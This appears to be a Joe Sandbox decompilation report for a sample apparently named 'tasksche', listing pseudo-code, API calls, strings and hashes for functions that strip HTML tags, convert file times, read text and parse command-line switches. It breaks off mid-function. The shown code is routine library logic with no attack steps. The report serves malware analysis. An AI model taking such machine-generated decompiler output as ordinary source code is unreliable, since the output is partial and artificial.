Opcode Fuzzy Hash: 3739eaef324a12835188418d8e4db8062592f3b82a480bdb7c4c47042269d501
Instruction Fuzzy Hash: C121F7B1E00208AFDB10DFE4D888EEEBBBCEF48305F504866F911E7250D6799E458B61

Uniqueness

Uniqueness Score: -1.00%

Function 0041947D Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 157
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E0041947D(void* __ebx, void* __ecx, void* __eflags, signed short* _a4, signed short* _a7) {
				signed short* _v8;
				void* __edi;
				signed short* _t18;
				signed short* _t19;
				signed int _t20;
				signed int _t21;
				signed short _t22;
				void* _t23;
				void* _t25;
				signed int _t26;
				void* _t27;
				signed int _t29;
				signed short* _t30;
				void* _t34;
				signed short* _t35;
				short _t41;
				signed int _t42;
				signed short _t43;
				short _t44;
				void* _t45;
				signed short* _t46;
				void* _t49;
				signed short* _t51;
				short* _t52;
				short* _t54;
				signed short* _t56;
				signed short* _t69;

				_push(__ecx);
				_t56 = _a4;
				_t49 = __ecx;
				_t18 = E0041CF3E(__ebx, _t45, _t49, E0041A7AF(_t56) + _t16 + 2);
				_v8 = _t18;
				if(_t18 == 0) {
					L44:
					return _t18;
				}
				_t19 = E004191A2(_t56);
				_t51 = _v8;
				_a7 = _t19;
				_t20 =  *_t56 & 0x0000ffff;
				if(_t20 == 0) {
					L43:
					_t18 = _v8;
					goto L44;
				}
				_push(__ebx);
				while(1) {
					_t65 = _t20;
					if(_t20 != 0) {
						goto L3;
					}
					L26:
					_t21 = E00411E81(_t65, _t56, L"</p>", 4);
					asm("sbb bl, bl");
					_t34 =  ~_t21 + 1;
					_t66 = _t34;
					if(_t34 != 0 || E00411E81(_t66, _t56, L"<br>", 4) == 0) {
						_t22 = 0xd;
						 *_t51 = _t22;
						_t23 = 2;
						_t52 = _t51 + _t23;
						_t41 = 0xa;
						 *_t52 = _t41;
						_t51 = _t52 + _t23;
						if(_t34 != 0) {
							_t43 = 0xd;
							 *_t51 = _t43;
							_t54 = _t51 + _t23;
							_t44 = 0xa;
							 *_t54 = _t44;
							_t51 = _t54 + _t23;
							_t69 = _t51;
						}
					}
					 *_t51 = 0;
					_t25 = E00411E81(_t69, _t56, L"<style>", 7);
					if(_t25 != 0) {
						while(1) {
							_t26 =  *_t56 & 0x0000ffff;
							__eflags = _t26;
							if(_t26 == 0) {
								break;
							}
							__eflags = _t26 - 0x3e;
							if(_t26 == 0x3e) {
								L40:
								_t56 =  &(_t56[1]);
								__eflags = _t56;
								goto L41;
							}
							_t56 =  &(_t56[1]);
							__eflags = _t56;
						}
						__eflags =  *_t56 - 0x3e;
						if( *_t56 != 0x3e) {
							goto L41;
						}
						goto L40;
					} else {
						_t71 =  *_t56 - _t25;
						if( *_t56 == _t25) {
							L42:
							goto L43;
						} else {
							goto L32;
						}
						while(1) {
							L32:
							_t27 = E00411E81(_t71, _t56, L"</style>", 8);
							_t56 =  &(_t56[1]);
							if(_t27 == 0) {
								break;
							}
							if( *_t56 != 0) {
								continue;
							}
							L41:
							_t20 =  *_t56 & 0x0000ffff;
							if(_t20 != 0) {
								goto L3;
							}
							goto L42;
						}
						_t56 =  &(_t56[7]);
						goto L41;
					}
					L3:
					__eflags = _t20 - 0x3c;
					if(__eflags == 0) {
						goto L26;
					}
					__eflags = _a7;
					if(_a7 == 0) {
						L10:
						_t35 = 0;
						__eflags = _a7;
						if(_a7 == 0) {
							L18:
							_t29 =  *_t56 & 0x0000ffff;
							__eflags = _t29;
							if(__eflags == 0) {
								goto L26;
							}
							__eflags = _t29 - 0x20;
							if(_t29 != 0x20) {
								L22:
								 *_t51 = _t29;
								_t51 =  &(_t51[1]);
								__eflags = _t51;
								L23:
								_t56 =  &(_t56[1]);
								__eflags = _t56;
								L24:
								_t20 =  *_t56 & 0x0000ffff;
								continue;
							}
							__eflags = _t51 - _v8;
							if(_t51 == _v8) {
								goto L22;
							}
							__eflags =  *((intOrPtr*)(_t51 - 2)) - _t29;
							if( *((intOrPtr*)(_t51 - 2)) == _t29) {
								goto L23;
							}
							goto L22;
						}
						__eflags = _t20 - 0x26;
						if(_t20 != 0x26) {
							goto L18;
						}
						_t46 = 0;
						__eflags = 0;
						do {
							_t30 = _t46 + _t56;
							_t42 =  *_t30 & 0x0000ffff;
							__eflags = _t42;
							if(_t42 == 0) {
								break;
							}
							__eflags = _t42 - 0x3b;
							if(_t42 == 0x3b) {
								_t12 =  &(_t30[1]); // 0x2
								_t56 = _t12;
								_t35 = 1;
							}
							_t46 = _t46 + 2;
							__eflags = _t46 - 0x28;
						} while (_t46 < 0x28);
						__eflags = _t35;
						if(__eflags != 0) {
							goto L24;
						}
						goto L18;
					}
					__eflags = _t20 - 0xd;
					if(_t20 == 0xd) {
						L7:
						__eflags = _t51 - _v8;
						if(_t51 == _v8) {
							L9:
							_t29 = 0x20;
							goto L22;
						}
						__eflags =  *((short*)(_t51 - 2)) - 0x20;
						if( *((short*)(_t51 - 2)) == 0x20) {
							goto L23;
						}
						goto L9;
					}
					__eflags = _t20 - 0xa;
					if(_t20 != 0xa) {
						goto L10;
					}
					goto L7;
				}
			}

0x00419480
0x00419482
0x00419487
0x00419493
0x0041949a
0x0041949f
0x004195f9
0x004195fc
0x004195fc
0x004194a8
0x004194ad
0x004194b0
0x004194b3
0x004194b9
0x004195f6
0x004195f6
0x00000000
0x004195f6
0x004194bf
0x0041953e
0x0041953e
0x00419541
0x00000000
0x00000000
0x00419547
0x0041954f
0x00419558
0x0041955a
0x0041955a
0x0041955c
0x00419571
0x00419572
0x00419577
0x00419578
0x0041957c
0x0041957d
0x00419580
0x00419584
0x00419588
0x00419589
0x0041958e
0x00419590
0x00419591
0x00419594
0x00419594
0x00419594
0x00419584
0x004195a0
0x004195a3
0x004195aa
0x004195d9
0x004195d9
0x004195dc
0x004195df
0x00000000
0x00000000
0x004195d1
0x004195d5
0x004195e7
0x004195e8
0x004195e8
0x00000000
0x004195e8
0x004195d8
0x004195d8
0x004195d8
0x004195e1
0x004195e5
0x00000000
0x00000000
0x00000000
0x004195ac
0x004195ac
0x004195af
0x004195f5
0x00000000
0x00000000
0x00000000
0x00000000
0x004195b1
0x004195b1
0x004195b9
0x004195bf
0x004195c2
0x00000000
0x00000000
0x004195c8
0x00000000
0x00000000
0x004195e9
0x004195e9
0x004195ef
0x00000000
0x00000000
0x00000000
0x004195ef
0x004195cc
0x00000000
0x004195cc
0x004194c2
0x004194c2
0x004194c6
0x00000000
0x00000000
0x004194c8
0x004194cc
0x004194eb
0x004194eb
0x004194ed
0x004194f0
0x0041951b
0x0041951b
0x0041951e
0x00419521
0x00000000
0x00000000
0x00419523
0x00419527
0x00419534
0x00419534
0x00419538
0x00419538
0x00419539
0x0041953a
0x0041953a
0x0041953b
0x0041953b
0x00000000
0x0041953b
0x00419529
0x0041952c
0x00000000
0x00000000
0x0041952e
0x00419532
0x00000000
0x00000000
0x00000000
0x00419532
0x004194f2
0x004194f6
0x00000000
0x00000000
0x004194f8
0x004194f8
0x004194fa
0x004194fa
0x004194fd
0x00419500
0x00419503
0x00000000
0x00000000
0x00419505
0x00419509
0x0041950b
0x0041950b
0x0041950e
0x0041950e
0x00419511
0x00419512
0x00419512
0x00419517
0x00419519
0x00000000
0x00000000
0x00000000
0x00419519
0x004194ce
0x004194d2
0x004194da
0x004194da
0x004194dd
0x004194e6
0x004194e8
0x00000000
0x004194e8
0x004194df
0x004194e4
0x00000000
0x00000000
0x00000000
0x004194e4
0x004194d4
0x004194d8
0x00000000
0x00000000
0x00000000
0x004194d8

APIs

_wcslen.LIBCMT ref: 00419489
_malloc.LIBCMT ref: 00419493

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

Strings

</p>, xrefs: 00419549
<br>, xrefs: 00419560
<style>, xrefs: 00419598
</style>, xrefs: 004195B3

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AllocateHeap_malloc_wcslen
String ID: </p>$</style>$<br>$<style>
API String ID: 4208083856-1200123991
Opcode ID: 84057df06bfe7753af8be449b5ed96cf61f8b1a65555f0712547b90151fa4e6f
Instruction ID: 25e48dc46573b9320602deb0b34776bf62bfe2b29788b043e296d39cf0375d11
Opcode Fuzzy Hash: 84057df06bfe7753af8be449b5ed96cf61f8b1a65555f0712547b90151fa4e6f
Instruction Fuzzy Hash: 69412477645212B5DB315B1998217FA73A69F01754F68401BED81B32C0E76C8EC2C26D

Uniqueness

Uniqueness Score: -1.00%

Function 004113F1 Relevance: 10.6, APIs: 7, Instructions: 134
timeCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E004113F1(long* __ecx, signed int* _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				void* _v24;
				struct _FILETIME _v28;
				void* _v32;
				struct _FILETIME _v36;
				struct _SYSTEMTIME _v52;
				struct _SYSTEMTIME _v68;
				struct _SYSTEMTIME _v84;
				void* _t71;
				signed int _t81;
				void* _t84;
				signed int _t113;
				long _t115;
				signed int* _t126;

				_v20.dwLowDateTime =  *__ecx;
				_v20.dwHighDateTime = __ecx[1];
				if(E00409C06() >= 0x600) {
					FileTimeToSystemTime( &_v20,  &_v68);
					SystemTimeToTzSpecificLocalTime(0,  &_v68,  &_v84);
					SystemTimeToFileTime( &_v84,  &_v12);
					SystemTimeToFileTime( &_v68,  &_v28);
					_t115 = _v20.dwHighDateTime;
					asm("adc ecx, ebx");
					_t71 = E0041ABD0(_v12.dwHighDateTime + _t115, 0, 0, 1);
					asm("sbb edx, ebx");
					asm("sbb edx, ebx");
					asm("adc edx, ebx");
					asm("adc edx, ebx");
					_v12.dwLowDateTime = _t71 - _v28.dwLowDateTime + _v12.dwLowDateTime + _v20.dwLowDateTime;
					_v12.dwHighDateTime = _t115;
				} else {
					FileTimeToLocalFileTime( &_v20,  &_v12);
				}
				FileTimeToSystemTime( &_v12,  &_v52);
				_t126 = _a4;
				_t81 = _v52.wDay & 0x0000ffff;
				_t113 = _v52.wMonth & 0x0000ffff;
				_t116 = _v52.wYear & 0x0000ffff;
				_t126[3] = _v52.wHour & 0x0000ffff;
				_t126[2] = _t81;
				_t126[4] = _v52.wMinute & 0x0000ffff;
				_t126[8] = _t81 - 1;
				_t126[5] = _v52.wSecond & 0x0000ffff;
				_t84 = 1;
				 *_t126 = _v52.wYear & 0x0000ffff;
				_t126[1] = _t113;
				_t126[7] = _v52.wDayOfWeek & 0x0000ffff;
				if(_t113 > 1) {
					_a4 = 0x430138;
					while(_t84 <= 0xc) {
						_t126[8] = _t126[8] +  *_a4;
						_a4 =  &(_a4[1]);
						_t84 = _t84 + 1;
						if(_t84 < _t113) {
							continue;
						}
						goto L7;
					}
				}
				L7:
				if(_t113 > 2 && E004113C2(_t116) != 0) {
					_t126[8] = _t126[8] + 1;
				}
				_v52.wMilliseconds = 0;
				SystemTimeToFileTime( &_v52,  &_v36);
				_t126[6] = 0 - _v36.dwLowDateTime + _v12.dwLowDateTime;
				return _v12.dwHighDateTime;
			}

0x004113ff
0x00411402
0x0041141b
0x00411435
0x00411441
0x0041144f
0x00411459
0x0041145b
0x0041146a
0x0041146e
0x0041147d
0x00411486
0x0041148d
0x00411491
0x00411493
0x0041149b
0x0041141d
0x00411425
0x00411425
0x004114a6
0x004114a8
0x004114af
0x004114b3
0x004114b7
0x004114bb
0x004114c2
0x004114c5
0x004114cd
0x004114d2
0x004114d9
0x004114da
0x004114dc
0x004114df
0x004114e4
0x004114e6
0x004114ed
0x004114f7
0x004114fa
0x004114fe
0x00411501
0x00000000
0x00000000
0x00000000
0x00411501
0x004114ed
0x00411503
0x00411506
0x00411512
0x00411512
0x00411517
0x00411523
0x00411538
0x0041153e

APIs

Part of subcall function 00409C06: GetVersionExW.KERNEL32(?), ref: 00409C2B

FileTimeToLocalFileTime.KERNEL32(?,?,?,?), ref: 00411425
FileTimeToSystemTime.KERNEL32(?,?,?,?), ref: 00411435
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00411441
SystemTimeToFileTime.KERNEL32(?,?), ref: 0041144F
SystemTimeToFileTime.KERNEL32(?,?), ref: 00411459
FileTimeToSystemTime.KERNEL32(?,?,?,00000000,00000000,00000001), ref: 004114A6
SystemTimeToFileTime.KERNEL32(?,?), ref: 00411523

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: b334752188d409053c41308d043ef773f1ba1375d33674074c65fffa3be1e0d1
Instruction ID: 2321c29e0176793db35fe244bdb3b2ca835dfa759224b44d16608c614d02fbda
Opcode Fuzzy Hash: b334752188d409053c41308d043ef773f1ba1375d33674074c65fffa3be1e0d1
Instruction Fuzzy Hash: 40410AB1E00218AFCB14DFA9C8849EEB7F9FF48314B14852FE946E7240D778A945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040D92D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D92D(intOrPtr* __edi, void* __eflags) {
				char _v5;
				char _v8200;
				void* __ebx;
				void* __esi;
				intOrPtr _t18;
				short* _t28;
				void* _t31;
				signed int _t32;
				void* _t39;
				intOrPtr* _t41;
				short* _t42;
				void* _t43;

				_t41 = __edi;
				E0041AAF0(0x2004);
				_t42 = E0041CF3E(_t31, _t39, __edi, 0x20000);
				if(_t42 == 0) {
					E004063CE(0x4335ac);
				}
				 *_t42 = 0;
				_t32 = 0;
				while(1) {
					_t18 = E0040D781(0,  &_v8200, _t42,  *_t41, 0,  &_v5, 0x1000);
					 *_t41 = _t18;
					if(_t18 == 0) {
						break;
					}
					if( *_t42 != 0 || _v8200 != 0x7b) {
						if(_v8200 == 0x7d || E0041A7AF( &_v8200) + _t32 > 0xfffb) {
							break;
						} else {
							E0041A7C9(_t42,  &_v8200);
							_t32 = E0041A7AF(_t42);
							_t43 = _t43 + 0xc;
							if(_t32 <= 0) {
								L11:
								if(_v5 == 0) {
									E0041A7F7(_t42 + _t32 * 2, L"\r\n");
								}
								continue;
							}
							_t6 = _t32 * 2; // -2
							_t28 = _t42 + _t6 - 2;
							while( *_t28 == 0x20) {
								_t32 = _t32 - 1;
								_t28 = _t28;
								if(_t32 > 0) {
									continue;
								}
								goto L11;
							}
							goto L11;
						}
					} else {
						continue;
					}
				}
				return _t42;
			}

0x0040d92d
0x0040d935
0x0040d946
0x0040d94b
0x0040d952
0x0040d952
0x0040d959
0x0040d95c
0x0040d9d3
0x0040d9e8
0x0040d9ed
0x0040d9f1
0x00000000
0x00000000
0x0040d964
0x0040d978
0x00000000
0x0040d990
0x0040d998
0x0040d9a3
0x0040d9a5
0x0040d9aa
0x0040d9bd
0x0040d9c1
0x0040d9cc
0x0040d9d2
0x00000000
0x0040d9c1
0x0040d9ac
0x0040d9ac
0x0040d9b0
0x0040d9b6
0x0040d9b8
0x0040d9bb
0x00000000
0x00000000
0x00000000
0x0040d9bb
0x00000000
0x0040d9b0
0x00000000
0x00000000
0x00000000
0x0040d964
0x0040d9fc

APIs

_malloc.LIBCMT ref: 0040D941

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcslen.LIBCMT ref: 0040D981
_wcscat.LIBCMT ref: 0040D998
_wcslen.LIBCMT ref: 0040D99E
_wcscpy.LIBCMT ref: 0040D9CC

Strings

}, xrefs: 0040D970

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$AllocateHeap_malloc_wcscat_wcscpy
String ID: }
API String ID: 2020890722-4239843852
Opcode ID: 6432204e49108851ba0ca3091dc21990ad638d1d62174155feb992e49f3b8922
Instruction ID: a9b9a9eb170ff11f00d7125a4cd00596761e48c06437fb6caf1dcbb108c8f9f0
Opcode Fuzzy Hash: 6432204e49108851ba0ca3091dc21990ad638d1d62174155feb992e49f3b8922
Instruction Fuzzy Hash: 6111B771D0131A59EB25ABE08CC57DB72B8DF00354F10007BE645E22D1EBBC9A99C39D

Uniqueness

Uniqueness Score: -1.00%

Function 00411541 Relevance: 9.1, APIs: 6, Instructions: 104
timeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00411541(signed int* __ecx, intOrPtr* _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				void* _v24;
				struct _FILETIME _v28;
				struct _SYSTEMTIME _v44;
				struct _SYSTEMTIME _v60;
				struct _SYSTEMTIME _v76;
				int _t52;
				void* _t67;
				long _t71;
				signed int* _t75;
				signed int _t84;
				intOrPtr* _t86;
				intOrPtr _t87;

				_t86 = _a4;
				_v44.wYear =  *_t86;
				_t3 = _t86 + 4; // 0xffec8b55
				_v44.wMonth =  *_t3;
				_t5 = _t86 + 8; // 0x75ff1c75
				_v44.wDay =  *_t5;
				_t7 = _t86 + 0xc; // 0x1475ff18
				_v44.wHour =  *_t7;
				_t9 = _t86 + 0x10; // 0xff1075ff
				_v44.wMinute =  *_t9;
				_t11 = _t86 + 0x14; // 0x75ff0c75
				_v44.wSecond =  *_t11;
				_v44.wMilliseconds = 0;
				_t75 = __ecx;
				_t52 = SystemTimeToFileTime( &_v44,  &_v12);
				if(_t52 == 0) {
					 *_t75 =  *_t75 & 0x00000000;
					_t75[1] = _t75[1] & 0x00000000;
					return _t52;
				}
				_t16 = _t86 + 0x18; // 0xd00ae808
				_t87 =  *_t16;
				_v12.dwLowDateTime = _v12.dwLowDateTime + _t87;
				if(_v12.dwLowDateTime < _t87) {
					_v12.dwHighDateTime = _v12.dwHighDateTime + 1;
				}
				if(E00409C06() >= 0x600) {
					FileTimeToSystemTime( &_v12,  &_v60);
					__imp__TzSpecificLocalTimeToSystemTime(0,  &_v60,  &_v76);
					SystemTimeToFileTime( &_v76,  &_v20);
					SystemTimeToFileTime( &_v60,  &_v28);
					_t84 = _v12.dwHighDateTime;
					asm("adc ecx, esi");
					_t67 = E0041ABD0(_v20.dwHighDateTime + _t84, 0, 0, 1);
					asm("sbb edx, esi");
					asm("sbb edx, esi");
					asm("adc edx, esi");
					_t71 = _t67 - _v28.dwLowDateTime + _v20.dwLowDateTime + _v12.dwLowDateTime;
					asm("adc edx, esi");
				} else {
					LocalFileTimeToFileTime( &_v12,  &_v20);
					_t84 = _v20.dwHighDateTime;
					_t71 = _v20.dwLowDateTime;
				}
				 *_t75 = _t71;
				_t75[1] = _t84;
				return _t71;
			}

0x00411549
0x0041154f
0x00411553
0x00411557
0x0041155b
0x0041155f
0x00411563
0x00411567
0x0041156b
0x0041156f
0x00411573
0x00411577
0x00411584
0x00411590
0x00411592
0x00411596
0x00411642
0x00411645
0x00000000
0x00411645
0x0041159c
0x0041159c
0x0041159f
0x004115a5
0x004115a7
0x004115a7
0x004115b4
0x004115d4
0x004115e4
0x004115f2
0x004115fc
0x004115fe
0x0041160d
0x00411611
0x00411620
0x00411629
0x00411630
0x00411632
0x00411634
0x004115b6
0x004115be
0x004115c4
0x004115c7
0x004115c7
0x0041163b
0x0041163d
0x00000000

APIs

SystemTimeToFileTime.KERNEL32(?,004116A7,?,?), ref: 00411592
LocalFileTimeToFileTime.KERNEL32(004116A7,?), ref: 004115BE
FileTimeToSystemTime.KERNEL32(004116A7,?), ref: 004115D4
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 004115E4
SystemTimeToFileTime.KERNEL32(?,?), ref: 004115F2
SystemTimeToFileTime.KERNEL32(?,?), ref: 004115FC

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Time$File$System$Local$Specific
String ID:
API String ID: 3144155402-0
Opcode ID: f90245df41cc322dafe52bf530a12eef1bc8a67292351d8d3269b2ac88901438
Instruction ID: daaaa78088cd12f13caf2716ff388f37494b9d87aa27411613d97d80370a29eb
Opcode Fuzzy Hash: f90245df41cc322dafe52bf530a12eef1bc8a67292351d8d3269b2ac88901438
Instruction Fuzzy Hash: 92313276D001199BCB14DFD4C840AEFB7B9FF48710F04452AE946E3250E634A945CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041DD85 Relevance: 9.0, APIs: 6, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E0041DD85(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t48;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_t53 = __edx;
				_push(0x2c);
				_push(0x42d800);
				E0041FA9C(__ebx, __edi, __esi);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E0041A3D6(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E0041E9B4(__ecx, __edx, _t55, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E0041E9B4(_t48, __edx, _t55, _t61) + 0x8c));
				 *((intOrPtr*)(E0041E9B4(_t48, _t53, _t55, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E0041E9B4(_t48, _t53, _t55, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E0041A47B(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E0041DEAB(_t48, _t53, _t55, _t57, _t61);
				return E0041FAE1( *((intOrPtr*)(_t58 - 0x1c)));
			}

0x0041dd85
0x0041dd85
0x0041dd85
0x0041dd87
0x0041dd8c
0x0041dd91
0x0041dd93
0x0041dd96
0x0041dd99
0x0041dd9c
0x0041dda3
0x0041ddb4
0x0041ddc2
0x0041ddd0
0x0041ddd8
0x0041dde6
0x0041ddec
0x0041ddf3
0x0041ddf6
0x0041de0c
0x0041de0f
0x0041de84
0x0041de8b
0x0041de92
0x0041de9f

APIs

__CreateFrameInfo.LIBCMT ref: 0041DDAD

Part of subcall function 0041A3D6: __getptd.LIBCMT ref: 0041A3E4
Part of subcall function 0041A3D6: __getptd.LIBCMT ref: 0041A3F2

__getptd.LIBCMT ref: 0041DDB7

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DDC5
__getptd.LIBCMT ref: 0041DDD3
__getptd.LIBCMT ref: 0041DDDE
_CallCatchBlock2.LIBCMT ref: 0041DE04

Part of subcall function 0041A47B: __CallSettingFrame@12.LIBCMT ref: 0041A4C7

Part of subcall function 0041DEAB: __getptd.LIBCMT ref: 0041DEBA
Part of subcall function 0041DEAB: __getptd.LIBCMT ref: 0041DEC8

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 5eb10d2cb4eb5e2da6c5453d1fe4c56248c4e16d68a7da2668f442ad0aab7930
Instruction ID: e3df1943845817192d3dafa627097d3dc4affc0cfff12b6418408f9c93a4c95a
Opcode Fuzzy Hash: 5eb10d2cb4eb5e2da6c5453d1fe4c56248c4e16d68a7da2668f442ad0aab7930
Instruction Fuzzy Hash: 9E1126B1D00209DFDF00EFA1C445AED7BB0FF04318F10806AF854AB251DB389A519B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040D64B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0040D64B(void* __eflags, intOrPtr _a4) {
				signed int _v8;
				char _v2050;
				signed int _v2052;
				signed short _v2054;
				char _v2056;
				void* __ebx;
				void* _t19;
				void* _t21;
				void* _t24;
				void* _t27;
				void* _t30;
				WCHAR* _t36;
				void* _t37;
				void* _t38;

				_v8 = _v8 & 0x00000000;
				_t19 = E00410C58(__eflags, _a4,  &_v2056, 0x400);
				_t45 = _t19;
				if(_t19 == 0) {
					return _t19;
				} else {
					do {
						_v8 = _v8 + 1;
						if(_v8 != 1 && (_v2056 == 0x2f || _v2056 == 0x2d)) {
							_t24 = CharUpperW(_v2054 & 0x0000ffff) - 0x44;
							if(_t24 == 0) {
								_push(0x800);
								_push( &_v2052);
								_push(0x44187a);
								L22:
								E00410B9C();
								goto L23;
							}
							_t27 = _t24 - 1;
							if(_t27 == 0) {
								__eflags = CharUpperW(_v2052 & 0x0000ffff) - 0x4c;
								if(__eflags == 0) {
									__eflags = _v2050;
									if(__eflags == 0) {
										 *0x441879 = 1;
									}
								}
								goto L23;
